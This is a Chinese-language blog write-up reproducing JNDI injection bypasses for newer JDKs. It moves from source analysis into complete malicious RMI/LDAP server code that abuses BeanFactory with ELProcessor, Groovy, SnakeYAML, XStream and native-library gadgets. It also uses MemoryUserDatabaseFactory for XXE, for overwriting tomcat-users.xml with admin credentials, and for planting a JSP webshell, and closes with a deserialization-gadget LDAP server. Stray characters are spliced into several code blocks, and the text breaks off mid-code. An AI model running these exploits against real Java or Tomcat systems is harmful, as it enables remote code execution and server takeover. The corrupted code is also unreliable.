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java高版本下各种JNDI Bypass方法复现

目录

  • 0 前言
  • 1 Java高版本JNDI绕过的源代码分析1.1 思路一的源码分析
  • 1.2 思路二的源码分析
  • 2 基于本地工厂类的利用方法
      2.1 org.apache.naming.factory.BeanFactory2.1.1 javax.el.ELProcessor.eval
    • 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
    • 2.1.3 javax.management.loading.MLet 探测类是否存在
    • 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
    • 2.1.5 com.thoughtworks.xstream.XStream.fromXML
    • 2.1.6 org.mvel2.sh.ShellSession.exec()
    • 2.1.7 com.sun.glass.utils.NativeLibLoader
  • 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
      2.2.1 XXE
    • 2.2.2 RCE
  • 3 基于服务端返回数据流的反序列化RCE
  • 4 总结
  • 参考
  • 0 前言

    利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的

    trustURLCodebase

    都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。

    1 Java高版本JNDI绕过的源代码分析

    使用marshalsec开启rmi服务端

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest

    使用python开启恶意class文件下载服务端

    py -3 -m http.server 8090

    jdk 1.8u40下发起RMI请求

    将java版本修改为1.8u191

    直接被阻拦,需要手动设置com.sun.jndi.rmi.object.trustURLCodebase=true

    先给个图说一下JNDI的过程究竟在干嘛

    过程大抵就是这样,高版本的阻断在于步骤4,所以先直接说绕过思路:

    • 思路一,受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE
    • 思路二,执行步骤3时,利用受害者本地的工厂类实现RCE

    说完结论,再来看一下高版本和低版本Java的关键不同点。

    1.1 思路一的源码分析

    调试走到

    NamingManager.lookup(Name var1)

    方法,其源代码如下:

    public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {return new RegistryContext(this);} else {Remote var2;try {var2 =ad8this.registry.lookup(var1.get(0));  // 下载Reference的包裹类ReferenceWrapper} catch (NotBoundException var4) {throw new NameNotFoundException(var1.get(0));} catch (RemoteException var5) {throw (NamingException)wrapRemoteException(var5).fillInStackTrace();}return this.decodeObject(var2, var1.getPrefix(1));}}

    跟进lookup方法

    var2中的ip和端口是我们指定的rmi服务器地址,执行var2.getInputStream方法后,获得ObjectInput对象var4,再调用var4.readObject方法,这是典型的Java原生反序列化过程,受害者存在可用的gadget时,我们就可以利用这个点实现高版本JNDI的RCE。

    1.2 思路二的源码分析

    前面的1.8u40时实现jndi攻击后,显示了调用链,跟着调试后进入到

    NamingManager.getObjectFactoryFromReference

    方法中,代码如下

    可以看到,从ref中获取codebase后,调用helper对象的loadClass方法从远程下载了ExecTest这个恶意类对象,然后调用了newInstance方法,触发恶意代码。而ref对象实际上是Reference类,该类是从rmi服务器或ldap服务器下载而来。

    从对比1.8u40和1.8u191来看,

    NamingManager.getObjectFactoryFromReference

    方法是没有差别的,都先调用helper.loadClass(String factoryName)尝试加载本地的工厂类,出错或找不到指定的工厂类后,再调用helper.loadClass(String className, String codebase)尝试加载远程的工厂类。

    这里的helper对象实际上是

    com.sun.naming.internal.VersionHelper12

    的实例对象,如下图所示。

    却别就在于VersionHelper12,首先跟进1.8u40VersionHelper12的loadClass(String className)方法,源代码如下

    1.8u40下VersionHelper12public Class<?> loadClass(String className) throws ClassNotFoundException {return loadClass(className, getContextClassLoader());  // 调用中间的loadClass方法}/*** Package private.** This internal method is used with Thread Context Class Loader (TCCL),* please don\'t expose this method as public.*/Class<?> loadClass(String className, Class564Loader cl)throws ClassNotFoundException {Class<?> cls = Class.forName(className, true, cl);return cls;}/*** @param className A non-null fully qualified class name.* @param codebase A non-null, space-separated list of URL strings.*/public Class<?> loadClass(String className, String codebase)throws ClassNotFoundException, MalformedURLException {ClassLoader parent = getContextClassLoader();ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);  // 注意是URLClassLoaderreturn loadClass(className, cl);  // 调用中间的loadClass方法}
    • 第一个loadClass(String className),以为着通过getContextClassLoader获取本地ClassLoader,传入中间的loadClass(String className, ClassLoader cl)方法后,再通过反射,从本地寻找工厂类
    • 第三个loadClass(String className, String codebase)方法,则创建一个URLClassLoader,传入中间的loadClass方法后,通过反射,会从远程下载工厂类

    下面再跟进一下1.8u191版本的VersionHelper12

    1.8u191下的VersionHelper12public Class<?> loadClass(String className) throws ClassNotFoundException {return loadClass(className, getContextClassLoader());  // 调用中间的l56coadClass方法,从本地获取}Class<?> loadClass(String className, ClassLoader cl)throws ClassNotFoundException {Class<?> cls = Class.forName(className, true, cl);return cls;}/*** @param className A non-null fully qualified class name.* @param codebase A non-null, space-separated list of URL strings.*/public Class<?> loadClass(String className, String codebase)throws ClassNotFoundException, MalformedURLException {if (\"true\".equalsIgnoreCase(trustURLCodebase)) {   // 注意这里先进行了是否为可信URL地址的判断!!ClassLoader parent = getContextClassLoader();ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);   // URLClassLoaderreturn loadClass(className, cl);   // 调用中间的loadClass方法,从远程获取} else {return null;}}

    区别明显在于从远程下载时会验证URL是否可信,但并没有对本地加载工厂类进行限制。所以绕过思路之一,就在于利用本地工厂类实现RCE。

    2 基于本地工厂类的利用方法

    从本地工厂类实现RCE还有一个具体要求,在

    NamingManager.getObjectInstance

    中,成功得到工厂类factory后,会调用factory.getObjectInstance(ref, name,4000nameCtx,environment)方法,创建JNDI客户端真正需要的实例对象

    也就是说,我们需要找到合适的ObjectFactory类,要求它还实现了getObjectInstance方法,并且能够实现RCE,好在网上各位大神给出了很多答案。

    需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的目录名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

    2.1 org.apache.naming.factory.BeanFactory

    该类只有一个方法getObjectInstance,但根据需要对源代码进行了简化

    需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的类名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。

    public class BeanFactory implements ObjectFactory {public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {if (obj instanceof ResourceRef) {try {Reference ref = (Reference) obj;String beanClassName = ref.getClassName();Class<?> beanClass = null;ClassLoader tcl =Thread.currentThread().getContextClassLoader();if (tcl != null) {try {beanClass = tcl.loadClass(beanClassName);} catch(ClassNotFoundException e) {}} else {}BeanInfo bi = Introspector.getBeanInfo(beanClass);PropertyDescriptor[] pda = bi.getPropertyDescriptors();Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!!// 从Reference中获取forceString参数RefAddr ra = ref.get(\"forceString\");Map<String, Method> forced = new HashMap<>();String value;// 对forceString参数进行分割if (ra != null) {value = (String)ra.getContent();Class<?> paramTypes[] = new Class[1];paramTypes[0] = String.class;String setterName;int index;/* Items are given as comma separated list */for (String param: value.split(\",\")) {  // 使用逗号分割参数param = param.trim();index = param.indexOf(\'=\');if (index >= 0) {setterName = param.substring(index + 1).trim();  // 等号后面强制设置为setter方法名param = param.substring(0, index).trim();  // 等号前面为属性名} else {}try {// 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数是String类型!forced.put(param, beanClass.getMethod(setterName, paramTypes));} catch (NoSuchMethodException|SecurityException ex) {throw new NamingException(\"Forced String setter \" + setterName +\" not found for property \" + param);}}}Enumeration<RefAddr> e = ref.getAll();while (e.hasMoreElements()) {  // 遍历Reference中的所有RefAddrra = e.nextElement();String propName = ra.getType();  // 获取属性名// 过滤一些特殊的属性名,例如前面的forceStringif (propName.equals(Constants.FACTORY) ||propName.equals(\"scope\") || propName.equals(\"auth\") ||propName.equals(\"forceString\") ||propName.equals(\"singleton\")) {continue;}value = (String)ra.getContent();  // 属性名对应的参数Object[] valueArray = new Object[1];/* Shortcut for properties with explicitly configured setter */Method method = forced.get(propName);  // 根据属性名获取对应的方法if (method != null) {valueArray[0] = value;try {method.invoke(bean, valueArray);  // 执行方法,可用用forceString强制指定某个函数} catch () {}continue;}// 省略}}

    根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,

    • 该类必须有无参构造方法

    • 并在其中设置一个forceString字段指定某个特殊方法名该方法执行String类型的参数

    • 通过上面的方法和一个String参数即可实现RCE

    2.1.1 javax.el.ELProcessor.eval

    恰好有javax.el.ELProcessor满足该条件!

    Server端设置如下

    pom.xml

    <dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.8</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.8</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-jasper</artifactId><version>9.0.8</version></dependency>

    server端代码如下

    package com.bitterz.jndiBypass;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class TomcatBeanFactoryServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactoryResourceRef ref = new ResourceRef(\"javax.el.ELProcessor\", null, \"\", \"\", true,\"org.apache.naming.factory.BeanFactory\",null);// 强制将 \'x\' 属性的setter 从 \'setX\' 变为 \'eval\', 详细逻辑见 BeanFactory.getObjectInstance 代码ref.add(new StringRefAddr(\"forceString\", \"bitterz=eval\"));// 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令ref.add(new StringRefAddr(\"bitterz\", \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'calc\']).start()\\\")\"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind(\"Exploit\", referenceWrapper);  // 绑定目录名System.out.println(\"Server Started!\");}}

    客户端执行请求

    2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)

    groovy中同样存在基于一个String参数触发的方法

    pom.xml

    <dependency><groupId>org.codehaus.groovy</groupId><artifactId>groovy-all</artifactId><version>2.4.9</version></dependency>

    GroovyShellServer.java

    package com.bitterz.jndiBypass;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import groovy.lang.GroovyClassLoader;public class GroovyShellServer {public static void main(String[] args) throws Exception {System.out.println(\"Creating evil RMI registry on port 1097\");Registry registry = LocateRegistry.createRegistry(1097);ResourceRef ref = new ResourceRef(\"groovy.lang.GroovyClassLoader\", null, \"\", \"\", true,\"org.apache.naming.factory.BeanFactory\",null);ref.add(new StringRefAddr(\"forceString\", \"x=parseClass\"));String script = \"@groovy.transform.ASTTest(value={\\n\" +\"    assert java.lang.Runtime.getRuntime().exec(\\\"calc\\\")\\n\" +\"})\\n\" +\"def x\\n\";ref.add(new StringRefAddr(\"x\",script));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind(\"evilGroovy\", referenceWrapper);}}

    受害端发起rmi请求,java版本1.8u191

    2.1.3 javax.management.loading.MLet 探测类是否存在

    浅蓝大师傅又公开了一些其它可利用的类,首先时javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

    由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在

    上面出现404,则说明前面对ELProcessor类的加载成功了。

    当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求

    2.1.4 org.yaml.snakeyaml.Yaml().load(String)

    Yaml是做反序列化的,当然也可以实现RCE,通过其反序列化过程即可实现,payload也比较多

    这里还需要对SPI机制有一定的了解,先直接给我如何实现恶意jar包的吧

    创建一个恶意类,实现ScriptEngineFactory接口

    然后在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名

    打包编译后,开启http服务,运行RMI恶意服务端,执行lookup,效果如下

    2.1.5 com.thoughtworks.xstream.XStream.fromXML

    复现失败了,单纯用xstream.fromXML(payload)也没有成功,可能是环境问题。。。。

    ResourceRef ref = new ResourceRef(\"com.thoughtworks.xstream.XStream\", null, \"\", \"\",true, \"org.apache.naming.factory.BeanFactory\", null);String xml = \"<java.util.PriorityQueue serialization=\'custom\'>\\n\" +\"  <unserializable-parents/>\\n\" +\"  <java.util.PriorityQueue>\\n\" +\"    <default>\\n\" +\"      <size>2</size>\\n\" +\"    </default>\\n\" +\"    <int>3</int>\\n\" +\"    <dynamic-proxy>\\n\" +\"      <interface>java.lang.Comparable</interface>\\n\" +\"      <handler class=\'sun.tracing.NullProvider\'>\\n\" +\"        <active>true</active>\\n\" +\"        <providerType>java.lang.Comparable</providerType>\\n\" +\"        <probes>\\n\" +\"          <entry>\\n\" +\"            <method>\\n\" +\"              <class>java.lang.Comparable</class>\\n\" +\"              <name>compareTo</name>\\n\" +\"              <parameter-types>\\n\" +\"                <class>java.lang.Object</class>\\n\" +\"              </parameter-types>\\n\" +\"            </method>\\n\" +\"            <sun.tracing.dtrace.DTraceProbe>\\n\" +\"              <proxy class=\'java.lang.Runtime\'/>\\n\" +\"              <implementing__method>\\n\" +\"                <class>java.lang.Runtime</class>\\n\" +\"                <name>exec</name>\\n\" +\"                <parameter-types>\\n\" +\"                  <class>java.lang.String</class>\\n\" +\"                </parameter-types>\\n\" +\"              </implementing__method>\\n\" +\"            </sun.tracing.dtrace.DTraceProbe>\\n\" +\"          </entry>\\n\" +\"        </probes>\\n\" +\"      </handler>\\n\" +\"    </dynamic-proxy>\\n\" +\"    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\\n\" +\"  </java.util.PriorityQueue>\\n\" +\"</java.util.PriorityQueue>\";ref.add(new StringRefAddr(\"forceString\", \"a=fromXML\"));ref.add(new StringRefAddr(\"a\", xml));

    2.1.6 org.mvel2.sh.ShellSession.exec()

    <dependency><groupId>org.mvel</groupId><artifactId>mvel2</artifactId><version>2.4.12.Final</version></dependency>

    2.1.7 com.sun.glass.utils.NativeLibLoader

    JDK内置的动态链接库加载工具类,使用其loadLibrary方法,执行链如下

    NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);

    dll代码如下

    #include <stdio.h>void __attribute__ ((constructor)) my_init_so(){FILE *fd = popen(\"calc\", \"r\");}

    使用gcc编译一个dll文件

    gcc -m64 .\\libcmd.cpp -fPIC --shared -o libcmd.dll

    启动RMI Server,然后发起rmi请求,结果如下

    public class NativeLibLoaderServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef(\"com.sun.glass.utils.NativeLibLoader\", null, \"\", \"\",true, \"org.apache.naming.factory.BeanFactory\", null);ref.add(new StringRefAddr(\"forceString\", \"a=loadLibrary\"));ref.add(new StringRefAddr(\"a\", \"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Users\\\\helloworld\\\\Desktop\\\\libcmd\"));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind(\"dllLoader\", referenceWrapper);114c}}

    注意这里的路径一定要用路径穿越,具体原因在于System.load前,对输出的路径与另一个路径进行了拼接,源代码就不贴了,调试即可见。

    2.2 org.apache.catalina.users.MemoryUserDatabaseFactory

    浅蓝师傅提到扫描发现

    org.apache.catalina.users.MemoryUserDatabaseFactory

    这个类也存在利用的可能性,并进步一步进行了研究。

    该类的getObjectInstance方法,先获取pathname和readonly两个参数,并调用其setter方法,赋值完成后会调用

    org.apache.catalina.users.MemoryUserDatabase.open()

    方法,而后判断readonly=false,则调用

    save()

    方法

    先看其

    open

    方法

    从pathName获取url并发起请求,获得xml数据,而后调用digester对xml进行解析,所以这里可以实现XXE。

    2.2.1 XXE

    开启webserver,并放置一个恶意xml文件如下

    <?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY % romote SYSTEM \"http://127.0.0.1:8888/RequestFromXXE\"> %romote;]><root/>

    当XXE成功时,会向http://127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri

    2.2.2 RCE

    前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。

    在pathname必须是URL的前提下,跟进save方法

    注意到先进行了一个isWriteable的判断,跟进该方法

    这里pathname是一个URL,

    catelina_base=c:/xx/apache-tomcat-8/

    ,这是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到

    c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/

    ,此时该路径在Windows下可以直接判定成功。但linux下必须要求目录跳转前的路径必须存在,也就是说需要先在tomcat目录下创建

    http:/

    http:/127.0.0.1:8888/

    这两个目录。

    浅蓝师傅使用了

    org.h2.store.fs.FileUtils#createDirectory(String)

    结合BeanFactory进行创建,其代码如下:

    private static ResourceRef tomcatMkdirFrist() {ResourceRef ref = new ResourceRef(\"org.h2.store.fs.FileUtils\", null, \"\", \"\",true, \"org.apache.naming.factory.BeanFactory\", null);ref.add(new StringRefAddr(\"forceString\", \"a=createDirectory\"));ref.add(new StringRefAddr(\"a\", \"../http:\"));return ref;}private static ResourceRef tomcatMkdirLast() {ResourceRef ref = new ResourceRef(\"org.h2.store.fs.FileUtils\", null, \"\", \"\",true, \"org.apache.naming.factory.BeanFactory\", null);ref.add(new StringRefAddr(\"forceString\", \"a=createDirectory\"));ref.add(new StringRefAddr(\"a\", \"../http:/127.0.0.1:8888\"));return ref;}

    创建目录后,继续跟进

    save

    方法,如下

    将从pathname下载的xml文件中的roles、groups和users写入文件中,并覆盖给Catalina.base+pathname的文件中。

    写入文件的payload如下

    Registry registry = LocateRegistry.createRegistry(1099);// ===============================写入文件===================================3ff8=============ResourceRef ref = new ResourceRef(\"org.apache.catalina.UserDatabase\", null, \"\", \"\",true, \"org.apache.catalina.users.MemoryUserDatabaseFactory\", null);ref.add(new StringRefAddr(\"pathname\", \"http://127.0.0.1:8888/../../conf/tomcat-users.xml\"));ref.add(new StringRefAddr(\"readonly\", \"false\"));// ===============================写入文件================================================ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind(\"writeFile\", referenceWrapper);

    首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建

    http:/127.0.0.1:8888/

    目录,在windows下执行效果如下

    在linux下必须创建

    http:/127.0.0.1:8888/

    目录,然后再执行写文件的paylaod,效果如下

    linux上复现时的步骤和坑:

    • 首先使用的rmiserver端代码如下
    import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class UserDataRCE_Server {public static void main(String[] args) throws Exception{Registry registry = LocateRegistry.createRegistry(1099);// ===============================1 创建http:/================================================// ResourceRef ref = new ResourceRef(\"org.h2.store.fs.FileUtils\", null, \"\", \"\",//         true, \"org.apache.naming.factory.BeanFactory\", null);// ref.add(new StringRefAddr(\"forceString\", \"a=createDirectory\"));// ref.add(new StringRefAddr(\"a\", \"../http:\"));// ===============================2 创建http:/127.0.0.1:8888/================================================// ResourceRef ref = new ResourceRef(\"org.h2.store.fs.FileUtils\", null, \"\", \"\",//         true, \"org.apache.naming.factory.BeanFactory\", null);// ref.add(new StringRefAddr(\"forceString\", \"a=createDirectory\"));// ref.add(new StringRefAddr(\"a\", \"../http:/127.0.0.1:8888\"));// ===============================3 写入文件================================================ResourceRef ref = new ResourceRef(\"org.apache.catalina.UserDatabase\", null, \"\", \"\",true, \"org.apache.catalina.users.MemoryUserDatabaseFactory\", null);ref.add(new StringRefAddr(\"pathname\", \"http://127.0.0.1:8888/../../conf/tomcat-users.xml\"));ref.add(new StringRefAddr(\"readonly\", \"false\"));// ===============================写入文件================================================ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind(\"writeFile\", referenceWrapper);}}

    在tomcat中添加的jsp文件为:/webapps/test/1.jsp

    <%@page pageEncoding=\"utf-8\"%><%@page import=\"javax.naming.InitialContext\"%><%InitialContext initialContext = new InitialContext();initialContext.lookup(\"rmi://127.0.0.1:1099/writeFile\");%>

    用到的tomcat-users.xml如下

    <?xml version=\"1.0\" encoding=\"UTF-8\"?><tomcat-users xmlns=\"http://tomcat.apache.org/xml\"xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"version=\"1.0\"><role rolename=\"manager-gui\"/><role rolename=\"manager-script\"/><role rolename=\"manager-jmx\"/><role rolename=\"manager-status\"/><role rolename=\"admin-gui\"/><role rolename=\"admin-script\"/><user username=\"admin\" password=\"admin\" roles=\"manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script\"/></tomcat-users>
    • 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
    • 分三次注释代码,再编译和启动恶意rmi server端,用到的命令
      javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java
      java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server

      ,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod

    • tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给
      tomcat/webapps/host-manager/META-INF/context.xml

      tomcat/webapps/manager/META-INF/context.xml

      里修改为

      allow=\"^.*$\"

      ,以便能够远程访问tomcat的管理界面

    最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下

    • 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server
    <?xml version=\"1.0\" encoding=\"UTF-8\"?><tomcat-users xmlns=\"http://tomcat.apache.org/xml\"xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"version=\"1.0\"><role rolename=\"<%Runtime.getRuntime().exec("calc"); %>\"/></tomcat-users>
    • 启动恶意rmi server端,代码如下
    import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class UserDataRCE_Server {public static void main(String[] args) throws Exception{Registry registry = LocateRegistry.createRegistry(1099);// ===============================写入webshell文件================================================ResourceRef ref = new ResourceRef(\"org.apache.catalina.UserDatabase\", null, \"\", \"\",true, \"org.apache.catalina.users.MemoryUserDatabaseFactory\", null);ref.add(new StringRefAddr(\"pathname\", \"http://127.0.0.1:8888/../../webapps/ROOT/test.jsp\"));ref.add(new StringRefAddr(\"readonly\", \"false\"));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind(\"writeFile\", referenceWrapper);}}
    • 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下
    <%@page pageEncoding=\"utf-8\"%><%@page import=\"javax.naming.InitialContext\"%><%InitialContext initialContext = new InitialContext();initialContext.lookup(\"rmi://127.0.0.1:1099/writeFile\");%>
    • 访问webshell

    3 基于服务端返回数据流的反序列化RCE

    第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。

    以常见的CC链举例

    • ldap端和http端使用并修改https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
    package com.bitterz.jndiBypass;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.net.httpserver.HttpServer;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.net.InetAddress;import java.net.InetSocketAddress;import java.net.MalformedURLException;import java.net.URL;import java.text.ParseException;public class serializationServer {private static final String LDAP_BASE = \"dc=example,dc=com\";public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig(\"listen\",InetAddress.getByName(\"0.0.0.0\"),ldap_port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(\"http://\"+http_server+\":\"+http_port+\"/#Exploit\")));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println(\"Listening on 0.0.0.0:\" + ldap_port);ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}public static class HttpFileHandler implements HttpHandler {public HttpFileHandler() {}public void handle(HttpExchange httpExchange) {try {System.out.println(\"new http request from \" + httpExchange.getRemoteAddress() + \" \" + httpExchange.getRequestURI());String uri = httpExchange.getRequestURI().getPath();InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();if (inputStream == null){System.out.println(\"Not Found\");httpExchange.close();return;}else{while(inputStream.available() > 0) {byteArrayOutputStream.write(inputStream.read());}byte[] bytes = byteArrayOutputStream.toByteArray();httpExchange.sendResponseHeaders(200, (long)bytes.length);httpExchange.getResponseBody().write(bytes);httpExchange.close();}} catch (Exception var5) {var5.printStackTrace();}}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace(\'.\', \'/\').concat(\".class\"));System.out.println(\"Send LDAP reference result for \" + base + \" redirecting to \" + turl);e.addAttribute(\"javaClassName\", \"foo\");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf(\'#\');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}/** Payload1: Return Reference Factory **/// e.addAttribute(\"javaCodeBase\", cbstring);// e.addAttribute(\"objectClass\", \"javaNamingReference\");// e.addAttribute(\"javaFactory\", this.codebase.getRef());/** Payload1 end **//** Payload2: Return Serialized Gadget **/try {// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 